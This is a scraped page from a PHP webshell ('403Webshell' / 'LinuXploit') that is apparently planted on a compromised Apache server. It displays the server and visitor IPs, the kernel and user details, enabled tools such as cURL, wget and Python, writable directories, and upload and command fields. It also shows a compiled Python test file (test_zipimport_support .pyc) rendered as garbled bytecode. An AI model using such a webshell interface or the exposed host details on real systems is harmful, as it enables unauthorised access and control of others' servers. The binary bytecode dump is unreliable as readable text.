403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.153
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_zipimport_support.cpython-36.pyc
3

x2_�)�@s�ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlm
Z
mZmZmZmZejjZddlmZmZmZmZdd�ZGdd�dej�Zdd	�Zed
kr�ej�dS)�N)�spawn_python�kill_python�assert_python_ok�make_script�make_zip_script)�test_doctest�sample_doctest�sample_doctest_no_doctests�sample_doctest_no_docstringscCs�tjtdd�}tjtd�}yd|j|jf}Wntk
rH|j}YnXx |j|||�D]}|j	|�qZW|j
|j}}|r�tj
jd||f��tr�td|j|f�||fS)NF)�verboseZrecurse)rz%s.%sz%d of %d doctests failedz,doctest (%s) ... %d tests with zero failures)�doctestZ
DocTestFinderrZ
DocTestRunner�
__module__�__qualname__�AttributeError�__name__�findZrunZfailuresZtries�test�supportZ
TestFailed�print)�obj�module�finderZrunner�nameZexample�f�t�r�@/opt/alt/python36/lib64/python3.6/test/test_zipimport_support.py�_run_object_doctest#src@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�ZipSupportTestscCsPtj�tjj�tjdd�|_tjdd�|_tjdd�|_tj	j�dS)N)
�	linecache�
clearcache�	zipimport�_zip_directory_cache�clear�sys�path�	meta_path�
path_hooks�path_importer_cache)�selfrrr�setUp@s
zZipSupportTests.setUpcCs>|jtjdd�<|jtjdd�<|jtjdd�<tjj�dS)N)r%r$r&r'r(r#)r)rrr�tearDownHszZipSupportTests.tearDowncCs�d}tjj��~}t|d|�}tjjdtjj|��}t|d||�\}}tj	|�t
jjd|�ddl}z|j
tj|j�|�Wdt
jd=XWdQRXdS)Nzdef foo(): pass
�__init__�zip_pkg�test_zipr)rr�temp_dirr�osr%�join�basenamer�remover$�insertr-ZassertEqual�inspect�	getsourceZfoo�modules)r)�test_src�dZ	init_nameZname_in_zip�zip_name�run_namer-rrr� test_inspect_getsource_issue4223Ns
z0ZipSupportTests.test_inspect_getsource_issue4223c(Cstjt�}|jdd�}|jdd�}|jdd�}i}xLtttgD]>}tj|�}|jdd�}|jjd�d}|jd	d
�}|||<q>Wt	j
j���v}t|d|�}t
|d|�\}}	tj|d�}
x$|j�D]\}}|
j|d
|�q�W|
j�t�rtj|d�}td|�|j�|j�tj|�tjjd|�ddl}z�|j|jj|jjj|jj|jj|jj |jj!|jj"|jj#|j$|j$j|j$j"|j$j#|j%|j&|j'|j(j)|j(j*|j(j+|j(j,|j(j-|j.|j/|j0|j1|j2|j3g}
|j4|j5|j6g}x|
D]}t7||��q�WWdtj8d=XWdQRXdS)Nzfrom test import test_doctestz*import test_zipped_doctest as test_doctestztest.test_doctest�test_zipped_doctestztest.sample_doctestZsample_zipped_doctest�.�Zsample_Zsample_zipped_r.�az.py�rzContents of %r:r���)9r5r6r�replacerr	r
r�splitrrr/rr�zipfileZZipFile�itemsZwritestr�closerrZprintdirr0r3r$r%r4r=ZSampleClassZNestedClassr,Z
a_classmethodZ
a_propertyZa_staticmethodZdouble�getZSampleNewStyleClassZsample_funcZtest_DocTestZtest_DocTestParserZtest_DocTestRunnerZbasics�
exceptionsZoption_directivesZoptionflagsZverbose_flagZtest_ExampleZ
test_debugZtest_testsourceZtest_trailing_space_in_testZtest_DocTestSuiteZtest_DocTestFinderZtest_DocFileSuiteZ
test_testfileZtest_unittest_reportflagsrr7)r)r8Zsample_sources�mod�srcZmod_namer9�script_namer:r;�zZzip_filer=Zknown_good_testsZfail_due_to_missing_data_filesrrrr�test_doctest_issue4197^s�




	
z&ZipSupportTests.test_doctest_issue4197cCs�tjd�}d}tjj���}t|d|�}t|�\}}}||df}trbtd|�td�tt	|��|j
|jd�|�t|d|d	�\}	}
t|	�\}}}||
df}tr�td|�td�tt	|��|j
|jd�|�WdQRXdS)
Nz�                    class Test:
                        ">>> 'line 2'"
                        pass

                    import doctest
                    doctest.testmod()
                    zFile "%s", line 2, in %s�scriptz
__main__.Testz
Expected linezGot stdout:zutf-8r.z__main__.py)
�textwrap�dedentrrr/rrrr�ascii�assertIn�encoder)r)r8�patternr9rLZrc�out�errZexpectedr:r;rrr�test_doctest_main_issue4197�s*

z+ZipSupportTests.test_doctest_main_issue4197cCs�tjd�}tjj���}t|d|�}t|�}|jjd�t	|�}|j
tjj
|jd��|�t|d|d�\}}t|�}|jjd�t	|�}|j
tjj
|jd��|�WdQRXdS)Nz�                    def f():
                        pass

                    import pdb
                    pdb.Pdb(nosigint=True).runcall(f)
                    rOsl
zutf-8r.z__main__.py)rPrQrrr/rr�stdin�writerrSr0r%�normcaserTr)r)r8r9rL�p�datar:r;rrr�test_pdb_issue4201�sz"ZipSupportTests.test_pdb_issue4201N)	rr
rr*r+r<rNrXr^rrrrr7s	]rcCstjj�dS)N)rrZ
reap_childrenrrrr�tearDownModule�sr_�__main__)Ztest.supportrr0Zos.pathr$rPrEr!rr5rZunittestZtest.support.script_helperrrrrrrrrrr	r
rZTestCaserr_r�mainrrrr�<module>s&:

Youez - 2016 - github.com/yon3zu
LinuXploit